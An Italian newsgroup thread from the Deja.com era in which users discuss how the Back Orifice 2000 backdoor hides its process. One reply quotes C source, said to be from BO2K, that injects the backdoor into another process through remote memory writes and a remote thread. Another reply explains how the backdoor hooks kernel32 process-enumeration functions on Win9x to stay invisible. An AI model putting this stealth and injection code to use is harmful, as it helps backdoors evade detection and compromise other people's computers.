Newsgroup: it.comp.programmare.win32
Titolo: back orifice 2000

Salve!!
Se qualcuno di voi conosce Back Orifice 2000, avra' sicuramente notato che
il client si installa sulla macchina remota, senza possibilita' di essere
rilevato nel corso della sua esecuzione, in quanto esso non appare neppure
nella barra delle applicazioni, e neanche premendo ctrl-alt-del: il task e'
apparentemente invisibile!!!!
1) Qualcuno sa dirmi come si possa nascondere in questo modo un qualunque
task?
2) Vorrei utilizzare il suddetto back orifice 2000, che vi ricordo, NON e'
un virus, ai fini di amministratre un computer remoto, ma ho delle grosse
difficolta', quindi qualcuno puo' aiutarmi, ovvero consigliarmi in quale
newsgroup postare una richiesta di aiuto?
Grazie!!

,

BO2k utilizza la tecnica del thread remoto in un processo parassita.
La tecnica e' descritta nell'ultimo capitolo del Richter.
Semplicemente guardando i sorgenti, ecco il codice:
		// Allocate space for BO2K to fit in the process
		DWORD dwSize=((PIMAGE_OPTIONAL_HEADER)OPTHDROFFSET
(g_module))->SizeOfImage;
		char *pMem=(char *)pVirtualAllocEx
(hProc,g_module,dwSize,MEM_COMMIT|MEM_RESERVE,PAGE_EXECUTE_READWRITE);
		if(pMem==NULL) {
			DebugMessageBox(NULL,"Couldn't
VirtualAllocEx","Error",MB_SETFOREGROUND);
			return FALSE;
		}
		// Lets copy the entire bo2k process into this space.
		DWORD dwOldProt,dwNumBytes,i;
		MEMORY_BASIC_INFORMATION mbi;
		pVirtualQueryEx(hProc,pMem,&mbi,sizeof
(MEMORY_BASIC_INFORMATION));
		while(mbi.Protect!=PAGE_NOACCESS && mbi.RegionSize!=0) {
			if(!(mbi.Protect & PAGE_GUARD)) {
				for(i=0;i<mbi.RegionSize;i+=0x1000) {
					pVirtualProtectEx
(hProc,pMem+i,0x1000,PAGE_EXECUTE_READWRITE,&dwOldProt);
					WriteProcessMemory
(hProc,pMem+i,pMem+i,0x1000,&dwNumBytes);
				}
			}
			pMem+=mbi.RegionSize;
			pVirtualQueryEx(hProc,pMem,&mbi,sizeof
(MEMORY_BASIC_INFORMATION));
		}
		// Create a remote thread in the other process
		DWORD dwRmtThdID;
		HANDLE hRmtThd=pCreateRemoteThread
(hProc,NULL,0,EntryPoint,(LPVOID)g_module,0,&dwRmtThdID);
		if(hRmtThd==NULL) {
			DebugMessageBox(NULL,"Could create remote
thread","ERROR",MB_SETFOREGROUND);
			return FALSE;
		}
Sent via Deja.com 
http://www.deja.com/
Before you buy.

 newsgroup postare una richiesta di aiuto?
Non ho trovato alcun newsgroup sull'argomento.
Ciao, Giuseppe
---------------------------------------------------------------------------
_Guybrush su IRCNet canale #programmazione
ICQ: 42227764
---------------------------------------------------------------------------

 RegisterServiceProcess. Ecco un articolo con del codice preso dal
Dejanews:
Fai finta che non abbia scritto nulla, il metodo utilizzato č un altro......


> task?
Per quello che ho visto dai sorgenti del BO2K, (piu' che virus lo
chiamerei backdoor ...), questo non solo chiama la
RegisterServiceProcess() , ma sotto win95/98 setta in R/W l'area di
mem del kernel32.dll e sostituisce nella export table del kernel32 le
funzioni Process2First(), Process2Next() con delle sue versioni che
richiamano le originali e  "ovviamente" saltano il processo del Bo2k
quando lo incontrano, quindi risulta invisible anche alle utility come
ProcView.exe (Visual Studio) e CCTask.exe .
Questo vale pero' solo sotto Win9x mentre per NT come detto in
un'altro post si inietta nello spazio di indirizzamento  di un'altro
processo.
Ciao, 
Gianluigi
//-------------------------------------------------
// Gianluigi Rubino 
cman...@altavista.net
// C++ Maniacs : 
http://welcome.to/c++maniacs
//-------------------------------------------------